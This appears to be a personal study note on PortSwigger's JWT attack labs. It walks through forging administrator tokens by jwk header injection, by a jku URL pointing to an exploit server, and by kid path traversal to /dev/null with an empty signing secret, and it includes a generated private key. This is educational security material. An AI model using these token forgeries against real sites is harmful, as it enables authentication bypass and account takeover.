Quote

According to the JWS specification, only the alg header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.

  • jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
  • jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
  • kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter.

Injecting Self-signed JWTs via the Jwk Parameter

JWK

A JWK (JSON Web Key) is a standardized format for representing keys as a JSON object.

Example of a JWT header that has jwk field:

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

Quote

Ideally, servers should only use a limited whitelist of public keys to verify JWT signatures. However, misconfigured servers sometimes use any key thatā€™s embedded in theĀ jwkĀ parameter.

You can exploit this behavior by signing a modified JWT using your own RSA private key, then embedding the matching public key in theĀ jwkĀ header.

Lab: JWT Authentication Bypass via Jwk Header Injection

First, generate a RSA key pair with JWT Editor extension of Burp Suite:

{
    "p": "-5fudhIk6MF_mrH7yt7CoITQZT_frIhdli4FXDeoLJR4nrWXuX1fowkRk-1hyPRk580tLIg0YKXr-TMOupWJDD084mT_bLwsweuhYd-_sC18-YTfuRs_08P94C7BAI6d-ScQ7zw8HTtYJmnVimA65fUbDo5OdU9ZB-aNKhqCUAc",
    "kty": "RSA",
    "q": "5eL9i6fO9F5Yd8-DfrXYPYowHV0sBBaWxZpZ6iRkg0xnvko5cqBElKQcYUo7G9yOWPlPlDG4uifp2jpB6oCOnY8MlVoxn7uJkEIZfoZKgBuJYRScwbbe60qo9hVkDLNKaRD6SG9F1a0iKFC_4eDv7Zg6FpNlIVVa_u6Ti-ZH9qk",
    "d": "ArtZ9w6QDBs37qsDNARCSxTDe2afzaPbKFDVeBk2tOJDIj_HodVh_suWDkQ0z1NyZ950zk5k1jWvMbccgG9_qEwNdNUmmp9bTDErigo7V2m_lTCoWZJPDINXX5YU4AXK-FhdjsTkomVIjQ8M_5AH4VXGxdnoQV36SmTtFxCkjM40xgDhnYaTM8yEkwMlipavCENpQ6U2RxIbUJPjDXQYRK6Vd6lLL1jLxUwGOjX3U3Pah5NnKGJf_hGiFx9QsAaj7a-kW0EexLomJq0nJkx4iYl23J6DqUNmjAFzhJNpA3aI1aWAeke-Gf4JvBM0kppomXs5Bb-fX4fKyHa7h2ogQQ",
    "e": "AQAB",
    "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
    "qi": "n1C4OQ7uYX8H8K5p9ZL4-oOLmCeR9b3KnE5uS3hOiPkGsufVXL0LgkZRxTeWVE0yzNmeCbAuzrpJMnb_xCcpAbELN1lx1jCGyciZKw_8l5WREHHPM1L-6_zQoHR1Ku6_B_QxexjyDRAyvidHxD2tYcGAmSJK6taZptfVcacTNUs",
    "dp": "r9rSYtTr14TonEgrpvFtOKWcxCiRPxdR0tb4CC0e74oXhVeIZa6sWljMYIlcAApTPXK8UJQjiCpxdg2qDeDXmiZzmArgPjCJWEJK2w55_brNz9qARfI1-t7TZQ9I-Aq3gJ89xvpjSktgofj3uXDpujJIZzQwwu5jXJJZuUQuMaE",
    "dq": "GJF1v2MjvwIGOme3CeetQIZwNfMrLRSs8FlamqdhBpc3zyJnmVR_f9M6JTulrYiYvfGHC7N0ppB1cZkgSkuK8lPDaILHIucMAJrP1rHLbH2E5Rcq2ZkNod_Mxt_qXWEb5ralyO_7aqaiK-TVXPKJMb8_FgKSoEla_DvLEPx_XGE",
    "n": "4e39nomLs89W5mOsaTZxybW8kkTN1T9J2s95DO1hKYUaS-Oa3igAxoFaDDeNtEYNIbtxrFKRWkOBK4f3hq0vdVpySX4qtowI5k6YFNEQwXb9N1rzp42f_wyZI4DLjklUilaeOxWhlTkXTGYH4S0MEjIABfZ8iPolc1PToaeTNHE7twqb_TVtU3EaibwOaZqsU9jyAzY8afRpSOdpQFnFPECJhBVJU1VlJiZWkUSorztAcotGnbSoFbgDVsvqy8n5A9tJA7mG9luBG7OR0-XrAuMpmDU2Qxmo5d_4hLIg2c-kCUYySYPLjcgJ62qzxDZXm8bOb990fDtOj40cNN6Onw"
}

Modify the payload to administrator:

{  
    "iss": "portswigger",  
    "exp": 1724598870,  
    "sub": "administrator"  
}

Click ā€œAttackā€ and then click ā€œEmbedded JWKā€ to add the jwk field as well as generate the signature.

Injecting Self-signed JWTs via the Jku Parameter

JWK Set

A JWK Set is a JSON object containing an array of JWKs representing different keys. You can see an example of this below.

Example of a JWK Set:

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
}

Info

JWK Sets like this are sometimes exposed publicly via a standard endpoint, such asĀ /.well-known/jwks.json.

Quote

More secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL parsing discrepancies to bypass this kind of filtering.

Lab: JWT Authentication Bypass via Jku Header Injection

This lab provides us an exploit server.

Generate a RSA key and it as JWK into clipboard.

We build a JWK Set that has the generated key like this:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
      "n": "4e39nomLs89W5mOsaTZxybW8kkTN1T9J2s95DO1hKYUaS-Oa3igAxoFaDDeNtEYNIbtxrFKRWkOBK4f3hq0vdVpySX4qtowI5k6YFNEQwXb9N1rzp42f_wyZI4DLjklUilaeOxWhlTkXTGYH4S0MEjIABfZ8iPolc1PToaeTNHE7twqb_TVtU3EaibwOaZqsU9jyAzY8afRpSOdpQFnFPECJhBVJU1VlJiZWkUSorztAcotGnbSoFbgDVsvqy8n5A9tJA7mG9luBG7OR0-XrAuMpmDU2Qxmo5d_4hLIg2c-kCUYySYPLjcgJ62qzxDZXm8bOb990fDtOj40cNN6Onw"
    }
  ]
}

Store it on the exploit server and copy the URL to the JWK Set, which is

https://exploit-0a3a00e803dc7b8485d716a1016e002a.exploit-server.net/exploit

Modify header and payload of a captured JWT:

{
    "jku": "https://exploit-0a3a00e803dc7b8485d716a1016e002a.exploit-server.net/exploit",
    "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
    "typ": "JWT",
    "alg": "RS256"
}
{
    "iss": "portswigger",
    "exp": 1724600024,
    "sub": "administrator"
}

Sign it with the generated RSA key (key with ID 18c5ae28-d29f-4f3b-bbde-481d63ee4ecd) and send the request.

Injecting Self-signed JWTs via the Kid Parameter

Quote

The JWS specification doesnā€™t define a concrete structure for this ID - itā€™s just an arbitrary string of the developerā€™s choosing. For example, they might use theĀ kidĀ parameter to point to a particular entry in a database, or even the name of a file.

{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

This is especially dangerous if the server also supports JWTs signed using a symmetric algorithm. In this case, an attacker could potentially point the kid parameter to a predictable, static file, then sign the JWT using a secret that matches the contents of this file.

You could theoretically do this with any file, but one of the simplest methods is to use /dev/null, which is present on most Linux systems. As this is an empty file, reading it returns an empty string. Therefore, signing the token with a empty string will result in a valid signature.

Quote

If the server stores its verification keys in a database, the kid header parameter is also a potential vector for SQL injection attacks.

Lab: JWT Authentication Bypass via Kid Header Path Traversal

Fitst, modify the header and the payload:

{
    "kid": "../../dev/null",
    "alg": "HS256"
}
{  
    "iss": "portswigger",  
    "exp": 1724601325,  
    "sub": "administrator"  
}

Sign it by using jwt.io with empty string as secret key.

Send the request and we get the error message so try again with the following header:

{
    "kid": "../../../dev/null",
    "alg": "HS256"
}

Other Interesting JWT Header Parameters

  • cty (Content Type): change the content type to text/xml or application/x-java-serialized-object, which can potentially enable new vectors for XXE and deserialization attacks.
  • x5c (X.509 Certificate): Due to the complexity of the X.509 format and its extensions, parsing these certificates can also introduce vulnerabilities. Examples: CVE-2017-2800 and CVE-2018-2633
list
from outgoing([[Port Swigger -]])
sort file.ctime asc

Resources

JWT attacks | Web Security Academy (portswigger.net)